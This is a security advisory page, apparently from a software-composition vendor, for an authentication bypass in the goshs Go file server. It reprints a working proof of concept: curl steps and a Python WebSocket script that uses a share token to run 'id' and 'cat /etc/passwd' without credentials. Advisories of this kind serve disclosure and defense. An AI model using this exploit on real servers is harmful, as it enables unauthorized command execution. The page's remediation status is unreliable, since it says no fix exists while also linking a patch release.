GHSA-jgfx-74g2-9r6g is a high-severity (CVSS 8.1) CWE-288 vulnerability in github.com/patrickhener/goshs. No vendor fix is recorded yet; mitigation options are listed below.
goshs has Auth Bypass via Share Token
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jgfx-74g2-9r6g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jgfx-74g2-9r6g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/patrickhener/goshsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.
Details
The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.
// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
_, ok := fs.SharedLinks[token]
if ok {
next.ServeHTTP(w, r) // Full auth bypass
return
}
}
// ... normal auth checks never reached
A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.
1. Create a webroot:
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt
2. Start goshs with auth + TLS + CLI mode:
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000
CLI mode requires auth (
-b) and TLS (-s -ss). This is the documented usage — not a weakened config.
3. Verify authentication is required:
curl -sk https://localhost:8000/
Not authorized
4. As a legitimate user, create a share link:
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'
Response:
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}
Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).
5. Prove the token bypasses auth for WebSocket:
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws'
# 401
# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101
For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.
PoC
import json, ssl, websocket
TOKEN = "gMP-w0hXRs-Q-FEZku63kA" # ← replace with your token
ws = websocket.create_connection(
f"wss://localhost:8000/?ws&token={TOKEN}",
sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")
# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...
# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
ws.close()
A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs | ≥ 1.1.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/patrickhener/goshs has shipped for GHSA-jgfx-74g2-9r6g yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jgfx-74g2-9r6g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-jgfx-74g2-9r6g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jgfx-74g2-9r6g in your dependencies?
O3 Security finds GHSA-jgfx-74g2-9r6g across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.